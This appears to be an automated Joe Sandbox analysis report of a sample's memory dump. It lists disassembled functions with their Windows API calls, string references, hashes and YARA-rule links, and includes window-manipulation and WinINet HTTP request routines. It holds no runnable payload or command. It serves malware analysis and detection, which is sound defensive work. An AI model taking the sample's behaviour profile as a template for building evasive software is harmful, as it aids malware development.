API String ID: 4194297153-14809454
Opcode ID: 198c419fb55efd6b6b6206bb0f2203f2ee86a37ab9d797efbf3dba13466ce201
Instruction ID: e3d512263f30cb60249c75d52a12cf89c6088b7e0328468503ea88bb14c23c57
Opcode Fuzzy Hash: 198c419fb55efd6b6b6206bb0f2203f2ee86a37ab9d797efbf3dba13466ce201
Instruction Fuzzy Hash: 8C31CF35A00209AFC705EFA4D949AFEBBF8FF54710F148026F506EB291DB719A41CB91

Function 001AC6FD Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 001AC782
GetDlgCtrlID.USER32 ref: 001AC78D
GetParent.USER32 ref: 001AC7A9
SendMessageW.USER32(00000000,?,00000111,?), ref: 001AC7AC
GetDlgCtrlID.USER32(?), ref: 001AC7B5
GetParent.USER32(?), ref: 001AC7D1
SendMessageW.USER32(00000000,?,?,00000111), ref: 001AC7D4

Strings

ComboBox, xrefs: 001AC707
ListBox, xrefs: 001AC73F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove
String ID: ComboBox$ListBox
API String ID: 313823418-1403004172
Opcode ID: 0045c84aaa019ba87eed728a4d6cd4f4a9d51d6ad662ed33a856878cb4d42f12
Instruction ID: dc0dc9c4e2145839186571f74be3ec0c0d65f466a7c4da1d72a993a82f7b413b
Opcode Fuzzy Hash: 0045c84aaa019ba87eed728a4d6cd4f4a9d51d6ad662ed33a856878cb4d42f12
Instruction Fuzzy Hash: 3B21DEB4900208BBCF05ABA4CC82EBEB7BAAB56310F104115F522D72D1DB745859EE60

Function 001AC7E6 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 001AC869
GetDlgCtrlID.USER32 ref: 001AC874
GetParent.USER32 ref: 001AC890
SendMessageW.USER32(00000000,?,00000111,?), ref: 001AC893
GetDlgCtrlID.USER32(?), ref: 001AC89C
GetParent.USER32(?), ref: 001AC8B8
SendMessageW.USER32(00000000,?,?,00000111), ref: 001AC8BB

Strings

ComboBox, xrefs: 001AC7F0
ListBox, xrefs: 001AC828

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove
String ID: ComboBox$ListBox
API String ID: 313823418-1403004172
Opcode ID: a9e7f406bc0895feb58875ee2d25e26c48ee693c27134842657c0e83f469bcb4
Instruction ID: fe18a6720671ac42f8e44766e532b43afbb244205bd41331e9a53528eb573a38
Opcode Fuzzy Hash: a9e7f406bc0895feb58875ee2d25e26c48ee693c27134842657c0e83f469bcb4
Instruction Fuzzy Hash: C821D0B5A00208BBDF04EBA4CC86EFEBBBAEF56300F104015F511E7191DB799859EB60

Function 001AC8CD Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 001AC8D9
GetClassNameW.USER32(00000000,?,00000100), ref: 001AC8EE
_wcscmp.LIBCMT ref: 001AC900
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 001AC97B

Strings

largeicons, xrefs: 001AC90F
SHELLDLL_DefView, xrefs: 001AC8FA
details, xrefs: 001AC929
smallicons, xrefs: 001AC943
list, xrefs: 001AC95D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: a5cf80964daeaaafb95a79b8ff06bdf3df90b7d12b3f26b7fc38d5540382b9ff
Instruction ID: 55234841a41531cb3701e16daea90891cfce6dd33b83d5379c910c4e85f21825
Opcode Fuzzy Hash: a5cf80964daeaaafb95a79b8ff06bdf3df90b7d12b3f26b7fc38d5540382b9ff
Instruction Fuzzy Hash: 9511E97F648313F9FE052A34EC0ADB777EDDB17768B200012F901E90D2FBA269558594

Function 001BB05A Relevance: 15.3, APIs: 10, Instructions: 317COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 001BB137

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 03d83000b69067876cb58c40b123406345da0903b15e5e6032083bc94a71a695
Instruction ID: 24cec7f6210d0b85faef9136d0c1d1209141d044ac1b7464b64d037286ae4ccf
Opcode Fuzzy Hash: 03d83000b69067876cb58c40b123406345da0903b15e5e6032083bc94a71a695
Instruction Fuzzy Hash: 80C16A75A0821A9FDB04DF98D4C1BEEB7F4FF08315F20406AE616E7651C7B5AA81CB90

Function 0019BA66 Relevance: 15.2, APIs: 10, Instructions: 219COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0019BA74

Part of subcall function 00198984: __mtinitlocknum.LIBCMT ref: 00198996
Part of subcall function 00198984: RtlEnterCriticalSection.NTDLL(00190127), ref: 001989AF

__calloc_crt.LIBCMT ref: 0019BA85

Part of subcall function 00197616: __calloc_impl.LIBCMT ref: 00197625
Part of subcall function 00197616: Sleep.KERNEL32(00000000,?,00190127,?,0017125D,00000058,?,?), ref: 0019763C

@_EH4_CallFilterFunc@8.LIBCMT ref: 0019BAA0
GetStartupInfoW.KERNEL32(?,00226990,00000064,00196B14,002267D8,00000014), ref: 0019BAF9
__calloc_crt.LIBCMT ref: 0019BB44
GetFileType.KERNEL32(00000001), ref: 0019BB8B
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 0019BBC4

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 1426640281-0
Opcode ID: 70e871e294f35c8b4cfd7cb8134143115acdcfd5730c4411c06b58c2bcb553ab
Instruction ID: 0e2e21bc6c75c0556c465cc70016d24a53bc36a632c7e991959ce0b62f2bc98c
Opcode Fuzzy Hash: 70e871e294f35c8b4cfd7cb8134143115acdcfd5730c4411c06b58c2bcb553ab
Instruction Fuzzy Hash: 508102709093558FCF24CF68E9C46ADBBF0AF49324B24826DD4A6AB3D1CB349803CB55

Function 001EEC19 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 001EEC32
SendMessageW.USER32(?,00001328,00000000,?), ref: 001EEC49
GetWindowDC.USER32(?), ref: 001EEC55
GetPixel.GDI32(00000000,?,?), ref: 001EEC64
ReleaseDC.USER32(?,00000000), ref: 001EEC76
GetSysColor.USER32(00000005), ref: 001EEC94

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 318aa2198e3ecf88240739dc4a14851ae0e3170542ff242468f9d2bc2c0265cb
Instruction ID: 42469fbc9477e3107a5015e9ef4bac2cdfdd84be4cc8096d572d283540480a33
Opcode Fuzzy Hash: 318aa2198e3ecf88240739dc4a14851ae0e3170542ff242468f9d2bc2c0265cb
Instruction Fuzzy Hash: 8A214D31504645AFDB21AF74FC48BB97BB6EB05321F104120FA26A50F1CB310A81DF11

Function 001AD978 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 239COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,001ADD46), ref: 001ADC86

Strings

REGEXPCLASS, xrefs: 001ADA4C
NAME, xrefs: 001ADAB8
TEXT, xrefs: 001ADBBD
INSTANCE, xrefs: 001ADB94
CLASSNN, xrefs: 001ADA29
CLASS, xrefs: 001ADA06

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 7ae60edf4102221b89a2793af9be9852aaf26f210fb2ef3b45145ae476e320da
Instruction ID: 80e3745fba6c8a14e0c44566525969f6d5877af9dcfe042426391a5b79bd1d97
Opcode Fuzzy Hash: 7ae60edf4102221b89a2793af9be9852aaf26f210fb2ef3b45145ae476e320da
Instruction Fuzzy Hash: E691B534A00A06EACB0CEF60E481BEDFB75BF17314F548119D85BA7551DF70AA5ACBA0

Function 001745A7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 211COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 001745F0
CoUninitialize.COMBASE ref: 00174695
UnregisterHotKey.USER32(?), ref: 001747BD
DestroyWindow.USER32(?), ref: 001E5936
FreeLibrary.KERNEL32(?), ref: 001E599D
VirtualFree.KERNEL32(?,00000000,00008000), ref: 001E59CA

Strings

close all, xrefs: 001745EB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: acc9744a8f1bdad215b0d90bc3d5e4cee23b41132092e676ca01cc0307ad3472
Instruction ID: 1895e225c43afba0ac3bedc538e1855fc2027dc48456d9b4209ed3f33fd3f2e8
Opcode Fuzzy Hash: acc9744a8f1bdad215b0d90bc3d5e4cee23b41132092e676ca01cc0307ad3472
Instruction Fuzzy Hash: DC911D34600602CFC719EF14D895A68F3B5FF25714F5182A9F40AA7262DB30AE66CF10

Function 0018C24A Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 0018C2D2

Part of subcall function 0018C697: GetClientRect.USER32(?,?), ref: 0018C6C0
Part of subcall function 0018C697: GetWindowRect.USER32(?,?), ref: 0018C701
Part of subcall function 0018C697: ScreenToClient.USER32(?,000000FF), ref: 0018C729

GetDC.USER32 ref: 001EE006
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 001EE019
SelectObject.GDI32(00000000,00000000), ref: 001EE027
SelectObject.GDI32(00000000,00000000), ref: 001EE03C
ReleaseDC.USER32(?,00000000), ref: 001EE044
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 001EE0CF

Strings

U, xrefs: 001EDFA4

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: ffa292fc69c4441783824fd594765a092dd6aea6ba4fcf53a1e38a063fc8cb74
Instruction ID: eb62aa1bf7d8fb520361f6823798abbe6fca59b313185ccb2ffb1d7f03153099
Opcode Fuzzy Hash: ffa292fc69c4441783824fd594765a092dd6aea6ba4fcf53a1e38a063fc8cb74
Instruction Fuzzy Hash: C971DE30600648DFCF25DFA4D884AAE7BB2FF48320F144269FD565A1A2C7318991DFA0

Function 001C4C23 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 001C4C5E
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 001C4C8A
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 001C4CCC
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 001C4CE1
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001C4CEE
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 001C4D1E
InternetCloseHandle.WININET(00000000), ref: 001C4D65

Part of subcall function 001C56A9: GetLastError.KERNEL32(?,?,001C4A2B,00000000,00000000,00000001), ref: 001C56BE

Strings

, xrefs: 001C4D17

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
String ID:
API String ID: 1241431887-3916222277
Opcode ID: 4b4b5ace26f2954817b5e7b7a7bed065cd109df3758c6ab792a2e12c7d960eca
Instruction ID: 5aa18cd392a8ace5b7cee162a8fc08cea601dee0bf12116965115f86a53d6e6a
Opcode Fuzzy Hash: 4b4b5ace26f2954817b5e7b7a7bed065cd109df3758c6ab792a2e12c7d960eca
Instruction Fuzzy Hash: FF418EB1505618BFEB12AFA0DC95FFA77ADEF28314F10411AFA019A151D770DD84DBA0

Function 001CBAE6 Relevance: 13.9, APIs: 9, Instructions: 419COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0020DBF0), ref: 001CBBA1
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0020DBF0), ref: 001CBBD5
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 001CBD33
SysFreeString.OLEAUT32(?), ref: 001CBD5D
StringFromGUID2.COMBASE(?,?,00000028), ref: 001CBEAD
ProgIDFromCLSID.COMBASE(?,?), ref: 001CBEF7
CoTaskMemFree.COMBASE(?), ref: 001CBF14

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Free$FromString$FileLibraryModuleNamePathProgQueryTaskType
String ID:
API String ID: 793797124-0
Opcode ID: edc2ef7c06754cf9b219ecff251197526ad7b2f9a93958f4da65b7b503b7ee91
Instruction ID: 4a20c14cf381733917d157bf959cf30630aedc727e59d2492ce413b024378247
Opcode Fuzzy Hash: edc2ef7c06754cf9b219ecff251197526ad7b2f9a93958f4da65b7b503b7ee91
Instruction Fuzzy Hash: 28F1F575A04209EFCB04DFA4C885EAEB7B9BF99715F108498F905EB250DB31EE41CB90

Function 0018B86E Relevance: 13.7, APIs: 9, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 001749CA: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00174954), ref: 00174A23

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,0018B85B), ref: 0018B926
KillTimer.USER32(00000000,?,00000000,?,?,?,?,0018B85B,00000000,?,?,0018AF1E,?,?), ref: 0018B9BD
DestroyAcceleratorTable.USER32(00000000), ref: 001EE775
DeleteObject.GDI32(00000000), ref: 001EE7EB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Destroy$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 2402799130-0
Opcode ID: 91394042ab1eec3a55dae725233c9b36d1567b0f4dd15b211e1abbce84c754a3
Instruction ID: 8623f7a393e4b81a6fc392bd11b43198a5d4b610ed1343c42d5348c3a50bb039
Opcode Fuzzy Hash: 91394042ab1eec3a55dae725233c9b36d1567b0f4dd15b211e1abbce84c754a3
Instruction Fuzzy Hash: 4E618D30904B01CFEB35AF26E888B39BBF6FF55316F144519E18686A70C770A9A0DF84

Function 001DB14A Relevance: 13.7, APIs: 9, Instructions: 167COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 001DB204

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: fd4a63fa4b5969df28b7a0ee9183edac8d6b55df05cb82e39ec0450b530ea855
Instruction ID: a27347aed5a6eaf2f8f095c154604fe10695e85d4202c86735fdd88c201cab25
Opcode Fuzzy Hash: fd4a63fa4b5969df28b7a0ee9183edac8d6b55df05cb82e39ec0450b530ea855
Instruction Fuzzy Hash: 9E519E31508204FFEF24AF289CC9BAE3B65BB16320F224117F916D63A1CB71E990DB50

Function 0018A599 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 001EE9EA
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 001EEA0B
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 001EEA20
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 001EEA3D
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 001EEA64
DestroyCursor.USER32(00000000), ref: 001EEA6F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 001EEA8C
DestroyCursor.USER32(00000000), ref: 001EEA97

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CursorDestroyExtractIconImageLoadMessageSend
String ID:
API String ID: 3992029641-0
Opcode ID: a6547710677654035397787c6a31e12f769cf04f956efdf2394a4ae58b2717b6
Instruction ID: fb66ee75e2ff55e2961bea88a344016d0accd64f7e38d1fff64fc2f9656517ac
Opcode Fuzzy Hash: a6547710677654035397787c6a31e12f769cf04f956efdf2394a4ae58b2717b6
Instruction Fuzzy Hash: 61516870600609AFEB24EF65DC81FAA77F5AF58354F204629F90697290E770EE90DF50

Function 0018F6B5 Relevance: 13.6, APIs: 9, Instructions: 135COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,001EE9A0,00000004,00000000,00000000), ref: 0018F737
ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,001EE9A0,00000004,00000000,00000000), ref: 0018F77E
ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,001EE9A0,00000004,00000000,00000000), ref: 001EEB55
